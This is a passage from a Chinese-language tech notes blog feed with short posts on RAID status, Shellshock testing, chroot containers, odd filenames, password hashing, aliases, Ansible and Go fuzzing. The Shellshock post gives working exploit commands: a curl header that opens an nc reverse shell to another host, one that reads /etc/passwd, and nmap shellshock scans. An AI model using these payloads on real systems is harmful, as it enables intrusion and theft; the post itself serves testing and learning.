&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>T10 Protection Information Status : No
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Associated Fluid Cache State : Not Applicable
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Device Name : /dev/sda
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Bus Protocol : ATA
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Media : HDD
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Read Policy : Adaptive Read Ahead
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Write Policy : Write Back
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Cache Policy : Not Applicable
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Stripe Element Size : &lt;span style="color:#ae81ff">128&lt;/span> KB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Disk Cache Policy : Enabled
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>測試伺服器是否易受 Shellshock 漏洞影響</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221128-linux-shellshock-bug/</link><pubDate>Mon, 28 Nov 2022 15:35:30 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221128-linux-shellshock-bug/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/shellshock-bug" target="_blank" rel="noopener">測試伺服器是否易受 Shellshock 漏洞影響&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="shellshock-漏洞">Shellshock 漏洞&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>env x&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39; () {:;};&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="利用-shellshock-漏洞">利用 Shellshock 漏洞&lt;/h5>
&lt;ul>
&lt;li>當功能忽略使用者指定的指令，改執行 ForceCommand 的內容時，置換指令就會被執行。&lt;/li>
&lt;li>使用者的原始指令會被放在 &amp;ldquo;SSH_ORIGINAL_COMMAND&amp;rdquo; 環境變數中。若使用者預設 shell 是 Bash，Bash 在啟動時會解析 &amp;ldquo;SSH_ORIGINAL_COMMAND&amp;rdquo; 的值並執行其中的指令。&lt;/li>
&lt;/ul>
&lt;h5 id="shellshock-利用指令範例">Shellshock 利用指令範例&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## 1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>curl -H &lt;span style="color:#e6db74">&amp;#34;X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.y.y 443&amp;#34;&lt;/span> 192.168.x.y/CGI-bin/hello.cgi
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## 2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>curl --insecure 192.168.x.x -H &lt;span style="color:#e6db74">&amp;#34;User-Agent: () { :; }; /bin/cat /etc/passwd&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>使用 nmap 腳本測試漏洞&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nmap -sV -p- --script http-shellshock 192.168.x.x
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>nmap -sV -p- --script http-shellshock --script-args uri&lt;span style="color:#f92672">=&lt;/span>/cgi-bin/bin,cmd&lt;span style="color:#f92672">=&lt;/span>ls 192.168.x.x
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>從零開始的容器</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221124-containers-from-scratch/</link><pubDate>Thu, 24 Nov 2022 13:10:14 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221124-containers-from-scratch/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ericchiang.github.io/post/containers-from-scratch/" target="_blank" rel="noopener">從零開始的容器&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="容器檔案系統">容器檔案系統&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ wget https://github.com/ericchiang/containers-from-scratch/releases/download/v0.1.0/rootfs.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ sha256sum rootfs.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>c79bfb46b9cf842055761a49161831aee8f4e667ad9e84ab57ab324a49bc828c rootfs.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#75715e"># tar needs sudo to create /dev files and setup file ownership&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ sudo tar -zxf rootfs.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ls rootfs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>bin dev home lib64 mnt proc run srv tmp var
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>boot etc lib media opt root sbin sys usr
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ls -al rootfs/bin/ls
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rwxr-xr-x. &lt;span style="color:#ae81ff">1&lt;/span> root root &lt;span style="color:#ae81ff">118280&lt;/span> Mar &lt;span style="color:#ae81ff">14&lt;/span> &lt;span style="color:#ae81ff">2015&lt;/span> rootfs/bin/ls
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="chroot">chroot&lt;/h3>
&lt;p>它可以限制某個程序對檔案系統的視野。這裡我們把程序限制在 &amp;ldquo;rootfs&amp;rdquo; 目錄，然後執行一個 shell。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ sudo chroot rootfs /bin/bash
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>root@localhost:/# ls /
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>bin dev home lib64 mnt proc run srv tmp var
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>boot etc lib media opt root sbin sys usr
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>root@localhost:/# which python
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/usr/bin/python
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>root@localhost:/# /usr/bin/python -c &lt;span style="color:#e6db74">&amp;#39;print &amp;#34;Hello, container world!&amp;#34;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hello, container world!
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>root@localhost:/#
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>當我們執行 Python 直譯器時，實際上是執行 &lt;code>rootfs/usr/bin/python&lt;/code>，而不是宿主機的 Python。&lt;/p></description></item><item><title>如何刪除檔名含有不可列印字元的檔案</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221114-delete-files-non-printable-characters/</link><pubDate>Mon, 14 Nov 2022 13:55:17 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221114-delete-files-non-printable-characters/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/delete-files-non-printable-characters" target="_blank" rel="noopener">如何刪除檔名含有不可列印字元的檔案&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ls -l
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>total &lt;span style="color:#ae81ff">13&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 07:08 &lt;span style="color:#e6db74">&amp;#39; &amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">162&lt;/span> Apr &lt;span style="color:#ae81ff">16&lt;/span> &lt;span style="color:#ae81ff">2022&lt;/span> &lt;span style="color:#e6db74">&amp;#39;~$iscord.docx&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">6&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:03 &lt;span style="color:#e6db74">&amp;#39;&amp;#39;$&amp;#39;\302\226&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:01 &lt;span style="color:#e6db74">&amp;#39;&amp;#39;$&amp;#39;\302\226&amp;#39;&amp;#39;Λ---ω&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:13 &lt;span style="color:#e6db74">&amp;#39;␴?␴??␴??::␴?␴&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:12 ␴__␴
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:14 ␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:18 &lt;span style="color:#e6db74">&amp;#39;␴ω␴␴␣␦&amp;#39;$&amp;#39;\342\220\264&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:16 ␣␣␣␣␣␣␣␣
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:26 ␣ μ μ Ω Ω
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">14&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:23 &lt;span style="color:#e6db74">&amp;#39;␣ μ ␴&amp;#39;$&amp;#39;\342\220\264&amp;#39;&amp;#39;Ξ&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:27
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:27
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="使用-ansi-c-quoting">使用 ANSI-C Quoting&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Using ANSI-C Quoting&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rm &lt;span style="color:#e6db74">&amp;#39;&amp;#39;$&amp;#39;\302\226&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># We can also use the $ special character before enclosing the filename in single quotes&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rm &lt;span style="color:#e6db74">$&amp;#39;\356\200\215&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># pass an item&amp;#39;s name to rm without using the ANSI-C quoting&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rm &lt;span style="color:#e6db74">&amp;#39;\026\033&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rm: cannot remove &lt;span style="color:#e6db74">&amp;#39;\026\033&amp;#39;&lt;/span>: No such file or directory
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="使用-inode-編號">使用 Inode 編號&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ls -li
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>total &lt;span style="color:#ae81ff">11&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">6517085&lt;/span> -rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:18 &lt;span style="color:#e6db74">&amp;#39;␴ω␴␴␣␦&amp;#39;$&amp;#39;\342\220\264&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">7826050&lt;/span> -rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span> Nov &lt;span style="color:#ae81ff">9&lt;/span> 04:23 &lt;span style="color:#e6db74">&amp;#39;&amp;#39;$&amp;#39;\356\200\215\356\200\215\356\200\215&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">4685554&lt;/span> -rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:27
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>可以透過 find 的 -inum 參數指定 inode 來刪除檔案。&lt;/p></description></item><item><title>/etc/shadow 與建立 yescrypt、MD5、SHA-256、SHA-512 密碼雜湊</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221114-shadow-passwords/</link><pubDate>Mon, 14 Nov 2022 12:55:39 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221114-shadow-passwords/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/shadow-passwords" target="_blank" rel="noopener">/etc/shadow 與建立 yescrypt、MD5、SHA-256、SHA-512 密碼雜湊&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="chage-與密碼期限">chage 與密碼期限&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>chage --list root
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Last password change : Oct 01, &lt;span style="color:#ae81ff">2022&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Password expires : never
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Password inactive : never
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Account expires : never
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Minimum number of days between password change : &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Maximum number of days between password change : &lt;span style="color:#ae81ff">99999&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Number of days of warning before password expires : &lt;span style="color:#ae81ff">7&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>因此，我們可以用對應的旗標修改各欄位：&lt;/p>
&lt;ul>
&lt;li>&lt;code>-d&lt;/code> 或 &lt;code>--lastday&lt;/code>：最後變更日期&lt;/li>
&lt;li>&lt;code>-m&lt;/code> 或 &lt;code>--mindays&lt;/code>：變更密碼最少間隔天數&lt;/li>
&lt;li>&lt;code>-M&lt;/code> 或 &lt;code>--maxdays&lt;/code>：密碼最大有效天數&lt;/li>
&lt;li>&lt;code>-W&lt;/code> 或 &lt;code>--warndays&lt;/code>：到期前警告天數&lt;/li>
&lt;li>&lt;code>-I&lt;/code> 或 &lt;code>--inactive&lt;/code>：密碼失效天數&lt;/li>
&lt;li>&lt;code>-E&lt;/code> 或 &lt;code>--expiredate&lt;/code>：帳號過期日期&lt;/li>
&lt;/ul>
&lt;h5 id="chpasswd-與密碼">chpasswd 與密碼&lt;/h5>
&lt;p>&lt;code>echo 'user1:PASSWORD' | chpasswd --crypt-method SHA512&lt;/code>&lt;/p></description></item><item><title>如何在別名指令上使用 which</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221110-which-on-an-aliased-command/</link><pubDate>Thu, 10 Nov 2022 16:24:30 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221110-which-on-an-aliased-command/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/which-on-an-aliased-command" target="_blank" rel="noopener">如何在別名指令上使用 which&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="type">type&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>type grep
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>grep is an alias &lt;span style="color:#66d9ef">for&lt;/span> grep --color&lt;span style="color:#f92672">=&lt;/span>auto
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Bash&amp;#39;s type&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>type -P grep
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/usr/bin/grep
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Zsh&amp;#39;s type&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>type -p grep
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>grep is /usr/bin/grep
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="gnu-which">GNU which&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>which -a which
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>which: shell built-in command
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/usr/bin/which
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>alias top10
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>top10&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>alias | /usr/bin/which -i top10
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>top10&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /usr/bin/uniq
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /usr/bin/sort
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /usr/bin/head
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>將指令輸出轉為圖片</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221110-tip-command-output-to-image/</link><pubDate>Thu, 10 Nov 2022 16:13:04 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221110-tip-command-output-to-image/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ansible.cloudns.pro/post/tips/tip-command-output-to-image/" target="_blank" rel="noopener">將指令輸出轉為圖片&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Capture command output and convert to image&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">hosts&lt;/span>: &lt;span style="color:#ae81ff">all&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">tasks&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Display content of /etc/redhat-release&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">shell&lt;/span>: &lt;span style="color:#ae81ff">cat /etc/redhat-release&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">register&lt;/span>: &lt;span style="color:#ae81ff">redhat_release_result&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">hostname&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">shell&lt;/span>: &lt;span style="color:#ae81ff">hostname&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">register&lt;/span>: &lt;span style="color:#ae81ff">hostname_result&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 可以使用 ImageMagick 來轉換文字為圖片&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Convert command output as image&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">shell&lt;/span>: &lt;span style="color:#ae81ff">echo -e &amp;#34;{{ hostname_result.stdout }}\n{{ redhat_release_result.stdout }}&amp;#34; | convert label:@- {{ hostname_result.stdout }}.png&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">delegate_to&lt;/span>: &lt;span style="color:#ae81ff">localhost&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>善用 Go Fuzzing，幫助你寫出更完整的單元測試</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221103-utilize-go-fuzzing-to-write-better-unit-tests/</link><pubDate>Thu, 03 Nov 2022 16:57:29 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221103-utilize-go-fuzzing-to-write-better-unit-tests/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://medium.com/starbugs/utilize-go-fuzzing-to-write-better-unit-tests-80bd37cd4e38" target="_blank" rel="noopener">善用 Go Fuzzing，幫助你寫出更完整的單元測試&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">base&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>, &lt;span style="color:#a6e22e">exponent&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>) &lt;span style="color:#66d9ef">uint&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">exponent&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">base&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">base&lt;/span>, &lt;span style="color:#a6e22e">exponent&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
